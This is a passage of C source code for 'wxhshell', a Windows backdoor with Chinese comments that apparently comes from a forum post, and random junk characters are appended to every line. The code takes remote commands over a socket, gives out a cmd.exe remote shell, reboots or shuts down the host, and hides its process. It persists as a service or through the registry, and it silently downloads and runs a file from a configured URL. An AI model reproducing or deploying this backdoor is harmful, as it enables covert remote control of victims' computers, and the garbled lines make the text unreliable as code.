j-lfMEa$o  
    switch(cmd[0]) { 2I,^YWR  
  ++^l]8  
  // 帮助 V)[@98T_4?  
  case '?': { xjKR R?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uc){+'[  
    break; TOB]IrW  
  } qm"rY\:  
  // 安装 T9Nb`sbV]  
  case 'i': { FG.em  
    if(Install()) Gz,i~XX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (KDD e}f  
    else 6">+ ~ G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xHD=\,{ig  
    break; 2#c<\s|C  
    } ww], y@da  
  // 卸载 d?A 0MKnl  
  case 'r': { YoBDvV":@  
    if(Uninstall()) n[lJLm^(_C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hEKf6#  
    else Z{]0jhUyNh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7$CBx/X50)  
    break; HTX?,C_  
    } Brf5dT49  
  // 显示 wxhshell 所在路径 PoG-Rqe  
  case 'p': { e4? >-  
    char svExeFile[MAX_PATH]; RBs-_o+%  
    strcpy(svExeFile,"\n\r"); Y^$X*U/q%U  
      strcat(svExeFile,ExeFile); %C| n9*  
        send(wsh,svExeFile,strlen(svExeFile),0); onz?_SAW  
    break; j+$rj  
    } um!J]N^  
  // 重启 Rh_np  
  case 'b': { O$_)G\\\m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Egg=yF>T  
    if(Boot(REBOOT)) CDQW !XHc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Azl&mu  
    else { 5z7U1:  
    closesocket(wsh); &"&Z #llb  
    ExitThread(0); `6~Aoe  
    } 2$+bJJM  
    break; +ElfZ4  
    } JTSlWq4  
  // 关机 g jDh?I  
  case 'd': { ,)Me  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X' H[7 ^W  
    if(Boot(SHUTDOWN)) l;R%= P?'F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  M+||rct  
    else { q&s3wDl/  
    closesocket(wsh); ,(d) Qg  
    ExitThread(0); Wbr|_W  
    } !t$'AoVBq  
    break; r`W)0oxD  
    } EofymAi%  
  // 获取shell >,gg5<F-E  
  case 's': { x@P y>f2  
    CmdShell(wsh); $PTP/^  
    closesocket(wsh); m0ER@BXRn  
    ExitThread(0); uki#/GzaO  
    break; +ga k#M"n\  
  } HHDl8lo  
  // 退出 -JMdE_h  
  case 'x': { {XR6>]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x+ Ttl4  
    CloseIt(wsh); H?<N.Dq  
    break; C'\- @/  
    } k1w_[w [  
  // 离开 6& e3Nt  
  case 'q': { i2E )P x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {> eXR?s/  
    closesocket(wsh); mn, =i  
    WSACleanup(); }zkHJxZgE  
    exit(1); _<k\FU r  
    break; F, W~,y  
        } "-e \p lKj  
  } mHV%I@`Y6  
  } ciBP7>'::  
R.jIl@p   
  // 提示信息 %HGD;_bhI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sy:[T T!w  
} HW3 }uP\c  
  } d"}k! 0m  
Vq2y4D?  
  return; 7S '% E  
} $7O}S.x  
rID#`:Hl-|  
// shell模块句柄 P\yDa*m  
int CmdShell(SOCKET sock) N4^-`  
{ m? eiIrMW  
STARTUPINFO si; q$I;dOCJ,  
ZeroMemory(&si,sizeof(si)); 5b*M*e&=C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .>= (' -  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dd'm U  
PROCESS_INFORMATION ProcessInfo; qaY1xPWz"  
char cmdline[]="cmd"; /(u}KMR!f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  f\]sz?KY  
  return 0; _,p/l&<  
} -}nxJH)  
VCY\be  
// 自身启动模式 13=A  
int StartFromService(void) [$qyF|/K`n  
{ v25R_""~  
typedef struct 4" Cb/y3  
{ "S8uoSF`>  
  DWORD ExitStatus; Z>QF#."m  
  DWORD PebBaseAddress; !TAlB kj  
  DWORD AffinityMask; XG}C+;4Aw  
  DWORD BasePriority; XRcqhv  
  ULONG UniqueProcessId; }Ga\wV  
  ULONG InheritedFromUniqueProcessId; ?3nR  
}   PROCESS_BASIC_INFORMATION; CnpV:>V=  
*!q1Kr6r  
PROCNTQSIP NtQueryInformationProcess; 6g 5#TpCh  
;T"zV{;7BR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E)TN,@%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^Y=\#-Dd  
_2h S";K  
  HANDLE             hProcess; 5*+!+V^?X  
  PROCESS_BASIC_INFORMATION pbi; [BWNRC1  
_Tf4WFu2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n!NS(. o  
  if(NULL == hInst ) return 0; /I1h2 E  
}T; P~aG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qs1 ?IYD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v'U{/ ,x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fa++MNf}3  
ZjgsR|i  
  if (!NtQueryInformationProcess) return 0; 6hlc1?  
4.Q} 1%ZN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mR&H9 NG  
  if(!hProcess) return 0; 4[.oPK=i  
!B\R''J5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fI{ESXU  
TOkp%@9/  
  CloseHandle(hProcess); }j^i}^Du,  
IAw{P08+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kddZZA3`  
if(hProcess==NULL) return 0; (MR_^t  
Hc>m;[M)l  
HMODULE hMod; gG]Eeu+z   
char procName[255]; I/&%]"[^u  
unsigned long cbNeeded; [#l*_0  
<L"GqNuRQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o<[#0T^K   
|_] Q$q[[%  
  CloseHandle(hProcess); H=g`hF]`  
G+%zn|  
if(strstr(procName,"services")) return 1; // 以服务启动 M@`;JjtSA  
&^#VN%{  
  return 0; // 注册表启动 /DK"QV!]s  
} v-#Q7T  
e4!:c^?  
// 主模块 )\eI;8  
int StartWxhshell(LPSTR lpCmdLine) `V`lo,"\  
{ F @mQQ  
  SOCKET wsl; jF0jkj1&/[  
BOOL val=TRUE; -*$HddD  
  int port=0; iH/6M  
  struct sockaddr_in door; )Qe~ 8u@?  
%/|9@er  
  if(wscfg.ws_autoins) Install(); s$cK(S#  
vr6MU<  
port=atoi(lpCmdLine); S 5/R_5  
8zRP (+&W  
if(port<=0) port=wscfg.ws_port; ZZHDp&lh}  
]L9s%]o  
  WSADATA data; VHCK2}ps  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~io szX  
|C!oxhu<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EB2w0a5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4)@mSSfn.  
  door.sin_family = AF_INET; WU quN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .#rJ+.2  
  door.sin_port = htons(port); `(YxI  
umiBj)r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E%r k[wI  
closesocket(wsl); 'eLqlu|T  
return 1; M_"L9^^>N  
} q1Q L@Ax  
\P.I)n`8 y  
  if(listen(wsl,2) == INVALID_SOCKET) { l038%U~U!  
closesocket(wsl); h|,:e;>}  
return 1; _H j!2 '  
} RloK,bg  
  Wxhshell(wsl); H5Z$*4%G  
  WSACleanup(); ldiD2 Q  
fA+ ,TEB~d  
return 0; ]j`c]2EuP  
$npT[~U5  
} M luVx'  
E`?3PA8  
// 以NT服务方式启动 5]AC*2(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n ~shK<!C  
{ 4lKq{X5<  
DWORD   status = 0; ?QFpv #4  
  DWORD   specificError = 0xfffffff; wVEm:/;z&  
AaWs}M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ioYGZ%RG#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !bN*\c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X*{2[+<o  
  serviceStatus.dwWin32ExitCode     = 0; _$ +^q-  
  serviceStatus.dwServiceSpecificExitCode = 0; |4B:<x   
  serviceStatus.dwCheckPoint       = 0; <Bw^!.jAF  
  serviceStatus.dwWaitHint       = 0; X!9 B2w  
KX'{[7}m'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *7ZN]/VRT  
  if (hServiceStatusHandle==0) return; a1_GIM0  
AlAYiUw{  
status = GetLastError(); 9 }PhN<Gd  
  if (status!=NO_ERROR) i*/Yz*<  
{ D/vOs[X o,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7?GIS '  
    serviceStatus.dwCheckPoint       = 0; 8B\2Zfe  
    serviceStatus.dwWaitHint       = 0; de p=&  
    serviceStatus.dwWin32ExitCode     = status; rA%usaW  
    serviceStatus.dwServiceSpecificExitCode = specificError; `$W_R[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Zug Bh[b  
    return; Cjc6d4~  
  } va}Pj#=  
r76J N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @ycDCB(D}  
  serviceStatus.dwCheckPoint       = 0; ??M"6k  
  serviceStatus.dwWaitHint       = 0; j4|N- :  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8~J(](QA  
} 0yuS3VY)  
A v2 08}Y  
// 处理NT服务事件,比如:启动、停止 .QZaGw=,z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NbgK@eV}+{  
{ &#!4XOyB  
switch(fdwControl) mID"^NOi#  
{ ?o81E2TJO  
case SERVICE_CONTROL_STOP: eZIhEOF  
  serviceStatus.dwWin32ExitCode = 0; Yu)NO\3&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <}<zgOT[1!  
  serviceStatus.dwCheckPoint   = 0; ]:4*L  
  serviceStatus.dwWaitHint     = 0; $$ Oey)*  
  { Y }$/e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $~VRza 8Q  
  } Y2n!>[[.  
  return; -likj# Z  
case SERVICE_CONTROL_PAUSE: UNom-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d1AioQ9  
  break; /& Jan:  
case SERVICE_CONTROL_CONTINUE: r+":'/[x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G,o6292hj  
  break; gy#/D& N[  
case SERVICE_CONTROL_INTERROGATE: wO'T BP  
  break; @k,z:~[C=  
}; [N7{WSZ&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kCR_tn 4  
} i BF|&h(\  
_ba>19csq%  
// 标准应用程序主函数 sf)EMh3Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q"\Z-D0B4  
{ '*5i)^  
ABQ('#78  
// 获取操作系统版本 "e.jZcN*  
OsIsNt=GetOsVer(); fI&t]   
GetModuleFileName(NULL,ExeFile,MAX_PATH); W-mQjJ`,B  
z\K"Rg~J  
  // 从命令行安装 yE:+Lo`>  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;j[>9g  
s/$?^qtyC  
  // 下载执行文件 ,]9P{k]O  
if(wscfg.ws_downexe) { 9oYgl1}d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) * @ 3Ag(  
  WinExec(wscfg.ws_filenam,SW_HIDE); K#6P}tf  
} &J[:awQX  
63\/ * NNB  
if(!OsIsNt) { %zG;Q@  
// 如果时win9x,隐藏进程并且设置为注册表启动 w65K[l;2  
HideProc(); K2TcOFQ  
StartWxhshell(lpCmdLine); CyS$|E  
} &]`(v}`]  
else T|nDTezr  
  if(StartFromService()) z@!`:'ak  
  // 以服务方式启动 "W6uV!  
  StartServiceCtrlDispatcher(DispatchTable); ',9V|jvK  
else -ws? "_w  
  // 普通方式启动 ]Lf{Jboo  
  StartWxhshell(lpCmdLine); 5rw 7;'  
dP3CG8w5  
return 0; i3tg6o4C  
}
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只看该作者 1 发表于: 2006-10-10
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